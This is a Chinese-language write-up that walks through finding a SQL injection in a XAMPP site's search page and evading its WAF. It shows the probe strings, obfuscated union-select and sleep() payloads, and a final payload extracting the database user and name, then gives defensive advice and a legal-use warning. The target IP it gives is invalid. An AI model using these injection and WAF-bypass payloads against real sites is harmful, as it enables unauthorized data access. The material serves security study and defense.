记一次Bypass SQL注入
字数 1125 2025-08-09 22:16:00
SQL注入绕过技术实战教学文档
一、目标识别与初步探测
-
初始信息收集
- 目标站点:http://110.120.119.911/dashboard
- 发现目录遍历漏洞:直接访问根目录可列出文件
- 技术栈识别:XAMPP搭建(Apache+MySQL+PHP+PERL)
-
注入点发现
- 定位到具有搜索功能的PHP页面
- 初步测试:
- 输入
1→ 正常响应 - 输入
1'→ 报错,可能存在SQL注入漏洞
- 输入
二、基础注入尝试
-
自动化工具测试
- 使用sqlmap进行POST参数测试
- 结果:未能成功识别漏洞(存在防护机制)
-
手工测试
- 尝试常见注释符:
1'--+→ 失败1'%23→ 失败1'#→ 成功(发现#注释可用)
- 尝试常见注释符:
三、WAF绕过技术详解
-
防护机制分析
- 测试发现拦截
union select组合 - 单独测试:
select→ 正常union select→ 正常1'union select→ 被拦截
- 结论:WAF可能匹配整句模式
- 测试发现拦截
-
绕过技术尝试
- 大小写变异:
union+Sele<>cT→ 被拦截
- 内联注释:
/*!50000UniON SeLeCt*/→ 被拦截/*!u%6eion*/ /*!se%6cect*/→ 被拦截
- UNION变体:
1'union+distinct+select+sleep(2)#→ 失败
- 函数混淆:
sleep%23%oa(3)→ 成功绕过
- 大小写变异:
-
关键绕过技术总结
- 使用
#注释优于--和%23 - 函数名与括号间插入特殊字符(如
%0a换行符) - 避免直接使用完整
union select模式
- 使用
四、盲注技术应用
-
时间盲注
- 成功使用
sleep()函数验证漏洞 - 注意:直接
sleep(2)可能被拦截,需要混淆
- 成功使用
-
错误处理
- 去除
sleep()函数后正常报错 - 说明WAF对特定函数有检测
- 去除
五、防御机制分析
-
WAF规则推测
- 基于正则的模式匹配
- 检测完整
union select语句 - 检测常见SQL函数
-
绕过思路
- 分割关键词
- 插入非常规字符
- 使用不常见的语法变体
六、完整攻击流程
-
探测阶段
1'# → 验证注入可行性 -
绕过阶段
1'union/*任意内容*/select/*任意内容*/1,2,3# -
数据提取
1'union/*!50000select*/user(),database()#
七、防御建议
-
代码层面
- 使用参数化查询
- 实施严格的输入验证
- 避免动态SQL拼接
-
WAF配置
- 更新规则库检测非常规绕过技术
- 实施语义分析而非简单模式匹配
-
系统层面
- 最小化数据库权限
- 定期安全审计
八、总结
本案例展示了从发现SQL注入点到绕过WAF防护的完整过程,重点在于:
- 理解WAF的工作原理
- 尝试多种绕过技术
- 分析失败原因并调整策略
- 最终通过特殊字符混淆成功绕过
重要提醒:本文技术仅用于合法安全测试,未经授权测试他人系统属于违法行为。